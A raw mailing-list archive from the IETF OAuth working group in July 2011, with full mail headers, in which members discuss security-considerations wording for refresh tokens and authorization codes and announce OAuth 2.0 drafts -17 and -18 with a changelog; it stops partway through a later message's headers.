[View first t= wo pages]=0A=0A=0A= =0A=0A=0ARevision03=0AWG<= td>Individual Submission=0ADocument date2011-07-= 01=0ASubmission date2011-07-02=0A<= th>TitleTunneled HTTP Authentication For SASL=0AAuthor information=0A=0A=0A=0AAuthor 1William Mills <wmills@yahoo-inc.com>= ;=0A=0AAuthor 2Tim= Showalter <timshow@yahoo-inc.com>=0A=0AAuthor 3Hannes Tschofenig <hannes.tschofenig= @gmx.net>=0A=0A=0AAbstract Simple Authentic= ation and Security Layer (SASL) is a framework for
providing authenti= cation and data security services in connection-
oriented protocols v= ia replaceable mechanisms. OAuth is a protocol
framework for delegat= ed HTTP authentication and thereby provides a
method for clients to a= ccess a protected resource on behalf of a
resource owner.

T= his document defines the use of HTTP authentication over SASL, and
ad= ditionally defines authorization and token issuing endpoint
discovery= . Thereby, it enables schemes defined within the OAuth
framework for= non-HTTP-based application protocols.

A significant benefit of O= Auth for usage in clients that usually
store passwords is storing tok= ens instead of passwords. This is much
lower risk since tokens can b= e more limited in scope of access and
can be managed and revoked sepa= rately from the user=0A credential
(password).
=0APages24


--0-303431199-1310147120=:5121-- From eran@hueniverse.com Fri Jul 8 11:08:35 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 7D00F21F8C1C for ; Fri, 8 Jul 2011 11:08:35 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.65 X-Spam-Level: X-Spam-Status: No, score=-2.65 tagged_above=-999 required=5 tests=[AWL=-0.052, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id p9KTTLCzvT+o for ; Fri, 8 Jul 2011 11:08:35 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id F138121F8C02 for ; Fri, 8 Jul 2011 11:08:34 -0700 (PDT) Received: (qmail 8990 invoked from network); 8 Jul 2011 18:08:32 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 8 Jul 2011 18:08:32 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Fri, 8 Jul 2011 11:08:20 -0700 From: Eran Hammer-Lahav To: OAuth WG Date: Fri, 8 Jul 2011 11:08:16 -0700 Thread-Topic: Refresh token security considerations Thread-Index: Acw9mcK0JHdYEub3RaW04fOKuTprkA== Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D4A005B@P3PW5EX1MB01.EX1.SECURESERVER.NET> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E7234501D4A005BP3PW5EX1MB01E_" MIME-Version: 1.0 Subject: [OAUTH-WG] Refresh token security considerations X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 18:08:35 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E7234501D4A005BP3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable "the authorization server SHOULD deploy other means to detect refresh token= abuse" This requires an example. EHL --_000_90C41DD21FB7C64BB94121FBBC2E7234501D4A005BP3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

“t= he authorization server SHOULD deploy other means to detect refresh token a= buse”

 

This requires an example. =

 

<= p class=3DMsoNormal style=3D'text-autospace:none'> 

EHL

= --_000_90C41DD21FB7C64BB94121FBBC2E7234501D4A005BP3PW5EX1MB01E_-- From eran@hueniverse.com Fri Jul 8 11:40:08 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 845B521F8B9D for ; Fri, 8 Jul 2011 11:40:08 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.649 X-Spam-Level: X-Spam-Status: No, score=-2.649 tagged_above=-999 required=5 tests=[AWL=-0.050, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id I5mfrKZVLk0r for ; Fri, 8 Jul 2011 11:40:08 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id F26C821F8B98 for ; Fri, 8 Jul 2011 11:40:07 -0700 (PDT) Received: (qmail 22526 invoked from network); 8 Jul 2011 18:40:05 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 8 Jul 2011 18:40:05 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Fri, 8 Jul 2011 11:39:29 -0700 From: Eran Hammer-Lahav To: OAuth WG Date: Fri, 8 Jul 2011 11:39:25 -0700 Thread-Topic: Authorization code security considerations Thread-Index: Acw9nc9Y3GemShVzQ/+Wr2MT2c6/RA== Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0067@P3PW5EX1MB01.EX1.SECURESERVER.NET> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: [OAUTH-WG] Authorization code security considerations X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 18:40:08 -0000 "Authorization codes MUST be kept confidential" How exactly? They are not confidential by nature, being received via redire= ction in the URI query. I know what this sentence is trying to accomplish b= ut not sure how to do that with normative language. SHOULD doesn't really w= ork here either. Suggestions? EHL From beaton@google.com Fri Jul 8 11:52:00 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 75FED21F85DC for ; Fri, 8 Jul 2011 11:52:00 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -105.977 X-Spam-Level: X-Spam-Status: No, score=-105.977 tagged_above=-999 required=5 tests=[AWL=0.001, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id rviFkNozWLhT for ; Fri, 8 Jul 2011 11:51:59 -0700 (PDT) Received: from smtp-out.google.com (smtp-out.google.com [74.125.121.67]) by ietfa.amsl.com (Postfix) with ESMTP id 4159421F85C6 for ; Fri, 8 Jul 2011 11:51:59 -0700 (PDT) Received: from hpaq14.eem.corp.google.com (hpaq14.eem.corp.google.com [172.25.149.14]) by smtp-out.google.com with ESMTP id p68Ipw9K016155 for ; Fri, 8 Jul 2011 11:51:58 -0700 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta; t=1310151118; bh=TYDEUHXzFoZ69yUK3NlIfhXIA8g=; h=MIME-Version:In-Reply-To:References:Date:Message-ID:Subject:From: To:Cc:Content-Type; b=Vzs5/ImwdurKwjE/VSsiKZRy3rgIO87lFDdvPTaAuhg2dLtDgMd9ZqXn47dQaedJJ iPfRZkOMEtipOJvQ5DSAA== DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns; h=dkim-signature:mime-version:in-reply-to:references:date: message-id:subject:from:to:cc:content-type:x-system-of-record; b=pg8OrYfMB0KnJT+ocHItiVSuMQ0GyZovFhqPYKolSx9fL4kKTVtVH3NTw8zRordmh T6hoF5gX1ACTKjvKWuhNA== Received: from pzd13 (pzd13.prod.google.com [10.243.17.205]) by hpaq14.eem.corp.google.com with ESMTP id p68IptIf010598 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for ; Fri, 8 Jul 2011 11:51:56 -0700 Received: by pzd13 with SMTP id 13so2697849pzd.39 for ; Fri, 08 Jul 2011 11:51:55 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=beta; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=Vy0IYWhawlUuqfqng5gJOFE3IpzDX4kK0fu/KHZ8kjQ=; b=wL/xOeDHPvw7Ttac34x5X0O4CmF9YFi52RBYm2W2VGVjOTT/lfkK5lmgyjP4PUjGTa WDC77ebw6cWMBUjOqXUA== MIME-Version: 1.0 Received: by 10.142.248.36 with SMTP id v36mr441062wfh.437.1310151115111; Fri, 08 Jul 2011 11:51:55 -0700 (PDT) Received: by 10.142.14.2 with HTTP; Fri, 8 Jul 2011 11:51:55 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0067@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0067@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Fri, 8 Jul 2011 11:51:55 -0700 Message-ID: From: Brian Eaton To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 X-System-Of-Record: true Cc: OAuth WG Subject: Re: [OAUTH-WG] Authorization code security considerations X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 18:52:00 -0000 On Fri, Jul 8, 2011 at 11:39 AM, Eran Hammer-Lahav wrote: > How exactly? They are not confidential by nature, being received via redirection in the URI query. I know what this sentence is trying to accomplish but not sure how to do that with normative language. SHOULD doesn't really work here either. The browser same origin policy does apply to URI queries. They MUST be kept confidential, i.e. only sent to authorized entities. That covers: - the client web site - the browser From eran@hueniverse.com Fri Jul 8 11:54:45 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 8BE6521F887C for ; Fri, 8 Jul 2011 11:54:45 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.648 X-Spam-Level: X-Spam-Status: No, score=-2.648 tagged_above=-999 required=5 tests=[AWL=-0.049, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 7am+kzSHYlWj for ; Fri, 8 Jul 2011 11:54:45 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 06B0021F8688 for ; Fri, 8 Jul 2011 11:54:44 -0700 (PDT) Received: (qmail 19180 invoked from network); 8 Jul 2011 18:54:44 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 8 Jul 2011 18:54:44 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Fri, 8 Jul 2011 11:54:31 -0700 From: Eran Hammer-Lahav To: Brian Eaton Date: Fri, 8 Jul 2011 11:54:27 -0700 Thread-Topic: [OAUTH-WG] Authorization code security considerations Thread-Index: Acw9oCTyaMDYT7BkSv23DmP2F23H5QAADmWg Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D4A006D@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0067@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: OAuth WG Subject: Re: [OAUTH-WG] Authorization code security considerations X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 18:54:45 -0000 Can you provide this in a form suitable for pasting into the current text? = Browser same origin policy is enforced by the user-agent, and is beyond the= scope of this protocol. EHL > -----Original Message----- > From: Brian Eaton [mailto:beaton@google.com] > Sent: Friday, July 08, 2011 11:52 AM > To: Eran Hammer-Lahav > Cc: OAuth WG > Subject: Re: [OAUTH-WG] Authorization code security considerations >=20 > On Fri, Jul 8, 2011 at 11:39 AM, Eran Hammer-Lahav > wrote: > > How exactly? They are not confidential by nature, being received via > redirection in the URI query. I know what this sentence is trying to > accomplish but not sure how to do that with normative language. SHOULD > doesn't really work here either. >=20 > The browser same origin policy does apply to URI queries. They MUST be > kept confidential, i.e. only sent to authorized entities. That > covers: >=20 > - the client web site > - the browser From internet-drafts@ietf.org Fri Jul 8 11:55:28 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 8B73721F893E; Fri, 8 Jul 2011 11:55:28 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.583 X-Spam-Level: X-Spam-Status: No, score=-102.583 tagged_above=-999 required=5 tests=[AWL=0.016, BAYES_00=-2.599, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 8WLUzeLru+Gd; Fri, 8 Jul 2011 11:55:27 -0700 (PDT) Received: from ietfa.amsl.com (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id E734D21F86FF; Fri, 8 Jul 2011 11:55:27 -0700 (PDT) MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable From: internet-drafts@ietf.org To: i-d-announce@ietf.org X-Test-IDTracker: no X-IETF-IDTracker: 3.55 Message-ID: <20110708185527.13685.51345.idtracker@ietfa.amsl.com> Date: Fri, 08 Jul 2011 11:55:27 -0700 Cc: oauth@ietf.org Subject: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-17.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 18:55:28 -0000 A New Internet-Draft is available from the on-line Internet-Drafts director= ies. This draft is a work item of the Web Authorization Protocol Working Gr= oup of the IETF. Title : The OAuth 2.0 Authorization Protocol Author(s) : Eran Hammer-Lahav David Recordon Dick Hardt Filename : draft-ietf-oauth-v2-17.txt Pages : 62 Date : 2011-07-08 The OAuth 2.0 authorization protocol enables a third-party application to obtain limited access to an HTTP service, either on behalf of a resource owner by orchestrating an approval interaction between the resource owner and the HTTP service, or by allowing the third-party application to obtain access on its own behalf. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-oauth-v2-17.txt Internet-Drafts are also available by anonymous FTP at: ftp://ftp.ietf.org/internet-drafts/ This Internet-Draft can be retrieved at: ftp://ftp.ietf.org/internet-drafts/draft-ietf-oauth-v2-17.txt From eran@hueniverse.com Fri Jul 8 12:33:48 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 8055621F8D0C for ; Fri, 8 Jul 2011 12:33:48 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.646 X-Spam-Level: X-Spam-Status: No, score=-2.646 tagged_above=-999 required=5 tests=[AWL=-0.046, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 5Ii8uyzmXeBe for ; Fri, 8 Jul 2011 12:33:47 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id C623421F8CF2 for ; Fri, 8 Jul 2011 12:33:47 -0700 (PDT) Received: (qmail 19780 invoked from network); 8 Jul 2011 19:33:34 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 8 Jul 2011 19:33:34 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Fri, 8 Jul 2011 12:33:23 -0700 From: Eran Hammer-Lahav To: "internet-drafts@ietf.org" , "i-d-announce@ietf.org" Date: Fri, 8 Jul 2011 12:33:18 -0700 Thread-Topic: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-17.txt Thread-Index: Acw9oNpy5P41QfVQSnSzmWwwRMFNjgABPxQA Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0088@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <20110708185527.13685.51345.idtracker@ietfa.amsl.com> In-Reply-To: <20110708185527.13685.51345.idtracker@ietfa.amsl.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: "oauth@ietf.org" Subject: Re: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-17.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 19:33:48 -0000 Please ignore. This was a bad submission (wrong file). -18 will follow shor= tly. EHL > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > Of internet-drafts@ietf.org > Sent: Friday, July 08, 2011 11:55 AM > To: i-d-announce@ietf.org > Cc: oauth@ietf.org > Subject: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-17.txt >=20 > A New Internet-Draft is available from the on-line Internet-Drafts direct= ories. > This draft is a work item of the Web Authorization Protocol Working Group= of > the IETF. >=20 > Title : The OAuth 2.0 Authorization Protocol > Author(s) : Eran Hammer-Lahav > David Recordon > Dick Hardt > Filename : draft-ietf-oauth-v2-17.txt > Pages : 62 > Date : 2011-07-08 >=20 > The OAuth 2.0 authorization protocol enables a third-party > application to obtain limited access to an HTTP service, either on > behalf of a resource owner by orchestrating an approval interaction > between the resource owner and the HTTP service, or by allowing the > third-party application to obtain access on its own behalf. >=20 >=20 > A URL for this Internet-Draft is: > http://www.ietf.org/internet-drafts/draft-ietf-oauth-v2-17.txt >=20 > Internet-Drafts are also available by anonymous FTP at: > ftp://ftp.ietf.org/internet-drafts/ >=20 > This Internet-Draft can be retrieved at: > ftp://ftp.ietf.org/internet-drafts/draft-ietf-oauth-v2-17.txt > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From internet-drafts@ietf.org Fri Jul 8 12:38:20 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 4F6F521F8D16; Fri, 8 Jul 2011 12:38:20 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.582 X-Spam-Level: X-Spam-Status: No, score=-102.582 tagged_above=-999 required=5 tests=[AWL=0.017, BAYES_00=-2.599, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ZdVdXKvHt2zL; Fri, 8 Jul 2011 12:38:19 -0700 (PDT) Received: from ietfa.amsl.com (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id DE13821F8CDF; Fri, 8 Jul 2011 12:38:19 -0700 (PDT) MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable From: internet-drafts@ietf.org To: i-d-announce@ietf.org X-Test-IDTracker: no X-IETF-IDTracker: 3.55 Message-ID: <20110708193819.30331.45828.idtracker@ietfa.amsl.com> Date: Fri, 08 Jul 2011 12:38:19 -0700 Cc: oauth@ietf.org Subject: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-18.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 19:38:20 -0000 A New Internet-Draft is available from the on-line Internet-Drafts director= ies. This draft is a work item of the Web Authorization Protocol Working Gr= oup of the IETF. Title : The OAuth 2.0 Authorization Protocol Author(s) : Eran Hammer-Lahav David Recordon Dick Hardt Filename : draft-ietf-oauth-v2-18.txt Pages : 61 Date : 2011-07-08 The OAuth 2.0 authorization protocol enables a third-party application to obtain limited access to an HTTP service, either on behalf of a resource owner by orchestrating an approval interaction between the resource owner and the HTTP service, or by allowing the third-party application to obtain access on its own behalf. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-oauth-v2-18.txt Internet-Drafts are also available by anonymous FTP at: ftp://ftp.ietf.org/internet-drafts/ This Internet-Draft can be retrieved at: ftp://ftp.ietf.org/internet-drafts/draft-ietf-oauth-v2-18.txt From eran@hueniverse.com Fri Jul 8 12:47:27 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 956A521F8AD2 for ; Fri, 8 Jul 2011 12:47:27 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.644 X-Spam-Level: X-Spam-Status: No, score=-2.644 tagged_above=-999 required=5 tests=[AWL=-0.045, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id tcViyOrxpfsc for ; Fri, 8 Jul 2011 12:47:26 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 73AC721F8548 for ; Fri, 8 Jul 2011 12:46:51 -0700 (PDT) Received: (qmail 11952 invoked from network); 8 Jul 2011 19:46:51 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 8 Jul 2011 19:46:51 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Fri, 8 Jul 2011 12:46:06 -0700 From: Eran Hammer-Lahav To: OAuth WG Date: Fri, 8 Jul 2011 12:46:01 -0700 Thread-Topic: draft-ietf-oauth-v2-18 Thread-Index: Acw9pnNBaqvNyyG7Sl6/l3Lr5PAxdQ== Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0097@P3PW5EX1MB01.EX1.SECURESERVER.NET> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: [OAUTH-WG] draft-ietf-oauth-v2-18 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 19:47:27 -0000 Published draft-ietf-oauth-v2-18. This was a much larger effort than I was previously expecting or planning. = Review requires reading the full text as the number of changes makes using = a diff tool impractical. Below is the mostly complete list of changes. The = new draft should include very few normative changes requiring changes to ex= isting code (at least that was the intention). *** Please do not reply to this thread but instead start new threads per is= sue to make discussion easier. List of open issues: * Consensus for new Client Registration section (2) * Consensus for revised Redirection URI section (3.1.2) * Consensus for new token endpoint Client Authentication section (3.2.1) * Consensus for new authorization endpoint response type extensibility (8.4= ) * Missing example from security section 10.4 Refresh Tokens * Missing reference to DOM variable example in section 10.12 Cross-Site Req= uest Forgery * Need editing for 10.13 Clickjacking to better align with the protocol ter= minology, missing reference for x-frame-options header (This is the complete list. If you have an issue not listed you must raise = it again as it is not being tracked.) Changes from -16: * Many editorial changes, typos, and clarifications. * Replaced end-user with resource owner anywhere were the term was referrin= g to the official role. End-user is only used for casual references to peop= le. * Replaced computer with device. * Replaced duration with lifetime. * Expanded TOS to three levels deep. * Replaced client credentials with client authentication as a general term. * Replaced secrets with credentials as a general term. * Removed definition of refresh token as a self-encoded credential. * Removed client credentials as a distinct object in diagrams, kept explici= t authentication language in diagram text. * Removed document structure section in introduction. * Added new Client Registration section, folded previous Client Authenticat= ion section into it. * Forbid including a fragment component in authorization endpoint URIs. * Significantly expanded the Redirection URI section, added discussion abou= t URI matching, multiple registered URIs, and including of third-party scri= pts in landing page. * Added requirement to register redirection URIs for all public clients, an= d for all usage of the implicit grant. * Added recommendation to register the entire redirection URI. * Added discussion of the reasons and requirements of client authentication= when using the token endpoint. * Adjusted grant type introductions from 'suitable' to 'optimize' to better= align with other use cases. * Changed redirect_uri to OPTIONAL (was implicitly already). * Added requirement to expire the authorization code and recommended 10 min= utes lifetime. * Changed language from 'MAY' to 'SHOULD attempt' regarding revoking access= tokens issued via a compromised authorization code. * Replaced example tokens with 22 character strings * Added state parameter to examples * Removed client_id from the various sections describing the token endpoint= s, moved back to the client password credentials section. * Removed error extensibility using HTTP status codes, added new error code= s: server_error and temporarily_unavailable. * Clarified error_description and error_uri as used for debugging only. * Changed implicit grant type 'Web server with client resource' to 'Web-hos= ted client resource' to reduce confusion with other servers. * Fixed various typos in scope definitions. * Added note about user-agent support for fragments in redirection Location= headers. * Added note to resource owner password credentials grant type about brute = force attacks. * Clarified that the client credentials grant type applies to other forms o= f client authentications (not just via credentials). * Added recommendation not to issue refresh tokens when using client creden= tials grant. * Added charset=3DUTF-8 to all content-type header examples. * Added 'Pragma: no-cache' to credential responses. * Added requirement to authenticate the client when refreshing tokens for p= rivate clients. * Clarified that new refresh tokens must have the same scope as the one use= d to make the refresh request. * Added response type extensibility and registry for the authorization endp= oint, added special designation for the '+' character in response type name= s (no parsing). * New native applications section text. * Cleanup of security considerations text, moving some normative requiremen= ts to previous sections. * Added reference to RFC 4949. * Added reference to RFC 2818. * Rearranged the order of sections in security considerations. * Imported phishing text from OAuth 1.0 RFC. * Added CSRF and Clickjacking sections. * Removed empty Redirection URI Validation section in security consideratio= ns. EHL From jricher@mitre.org Fri Jul 8 13:08:09 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 47AF421F8C82 for ; Fri, 8 Jul 2011 13:08:09 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -6.465 X-Spam-Level: X-Spam-Status: No, score=-6.465 tagged_above=-999 required=5 tests=[AWL=0.134, BAYES_00=-2.599, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id iti-ahWUAHdy for ; Fri, 8 Jul 2011 13:08:08 -0700 (PDT) Received: from smtpksrv1.mitre.org (smtpksrv1.mitre.org [198.49.146.77]) by ietfa.amsl.com (Postfix) with ESMTP id C4F0821F8C73 for ; Fri, 8 Jul 2011 13:08:08 -0700 (PDT) Received: from smtpksrv1.mitre.org (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with SMTP id CA3CB21B00ED; Fri, 8 Jul 2011 14:48:11 -0400 (EDT) Received: from imchub1.MITRE.ORG (imchub1.mitre.org [129.83.29.73]) by smtpksrv1.mitre.org (Postfix) with ESMTP id C42F821B00B5; Fri, 8 Jul 2011 14:48:11 -0400 (EDT) Received: from [172.31.13.205] (172.31.13.205) by imchub1.MITRE.ORG (129.83.29.73) with Microsoft SMTP Server 